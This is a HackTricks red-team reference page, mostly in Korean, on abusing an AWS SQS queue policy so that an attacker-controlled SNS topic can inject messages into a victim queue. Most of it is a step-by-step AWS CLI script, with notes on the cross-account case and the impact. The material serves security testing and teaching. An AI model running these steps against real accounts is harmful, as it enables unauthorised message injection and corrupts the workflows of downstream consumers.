AWS – SQS Cross-/Same-Account Injection via SNS Subscription + Queue Policy

Reading time: 4 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

설명

공격자가 제어하는 SNS topic이 피해 SQS 큐에 메시지를 게시할 수 있도록 SQS 큐 리소스 정책을 악용한다. 동일 계정에서는 SNS topic에 대한 SQS subscription이 자동으로 확인(auto-confirms)되며; 크로스-계정에서는 큐에서 SubscriptionConfirmation 토큰을 읽고 ConfirmSubscription을 호출해야 한다. 이로 인해 하류 소비자가 암묵적으로 신뢰할 수 있는 미검증 메시지 주입이 가능해진다.

요구사항

  • 대상 SQS 큐 리소스 정책을 수정할 수 있는 권한: sqs:SetQueueAttributes on the victim queue.
  • 공격자 제어의 SNS topic을 생성/게시할 수 있는 권한: sns:CreateTopic, sns:Publish, and sns:Subscribe on the attacker account/topic.
  • 크로스-계정 전용: 확인 토큰을 읽고 sns:ConfirmSubscription을 호출하기 위한 피해 큐에 대한 임시 sqs:ReceiveMessage 권한.

동일 계정 악용

bash
REGION=us-east-1
# 1) Create victim queue and capture URL/ARN
Q_URL=$(aws sqs create-queue --queue-name ht-victim-q --region $REGION --query QueueUrl --output text)
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)

# 2) Create attacker SNS topic
TOPIC_ARN=$(aws sns create-topic --name ht-attacker-topic --region $REGION --query TopicArn --output text)

# 3) Allow that SNS topic to publish to the queue (queue resource policy)
cat > /tmp/ht-sqs-sns-policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSTopicPublish","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"SQS:SendMessage","Resource":"REPLACE_QUEUE_ARN","Condition":{"StringEquals":{"aws:SourceArn":"REPLACE_TOPIC_ARN"}}}]}
JSON
sed -i.bak "s#REPLACE_QUEUE_ARN#$Q_ARN#g; s#REPLACE_TOPIC_ARN#$TOPIC_ARN#g" /tmp/ht-sqs-sns-policy.json
# Provide the attribute as a JSON map so quoting works reliably
cat > /tmp/ht-attrs.json <<JSON
{
"Policy": "REPLACE_POLICY_JSON"
}
JSON
# Embed the policy file contents as a JSON string
POL_ESC=$(jq -Rs . /tmp/ht-sqs-sns-policy.json)
sed -i.bak "s#\"REPLACE_POLICY_JSON\"#$POL_ESC#g" /tmp/ht-attrs.json
aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes file:///tmp/ht-attrs.json

# 4) Subscribe the queue to the topic (auto-confirms same-account)
aws sns subscribe --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --region $REGION

# 5) Publish and verify injection
aws sns publish --topic-arn "$TOPIC_ARN" --message {pwn:sns->sqs} --region $REGION
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --attribute-names All --message-attribute-names All

교차 계정 메모

  • 위의 큐 정책은 외부 TOPIC_ARN (attacker account)를 허용해야 합니다.
  • 구독은 자동으로 확인되지 않습니다. victim queue에 대해 임시로 sqs:ReceiveMessage 권한을 부여해 SubscriptionConfirmation 메시지를 읽은 다음 해당 Token을 사용해 sns confirm-subscription을 호출하세요.

영향

잠재적 영향: 신뢰된 SQS 큐에 SNS를 통해 지속적으로 원치 않는 메시지를 주입하여 의도치 않은 처리, 데이터 오염, 또는 워크플로우 악용을 초래할 수 있습니다.

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기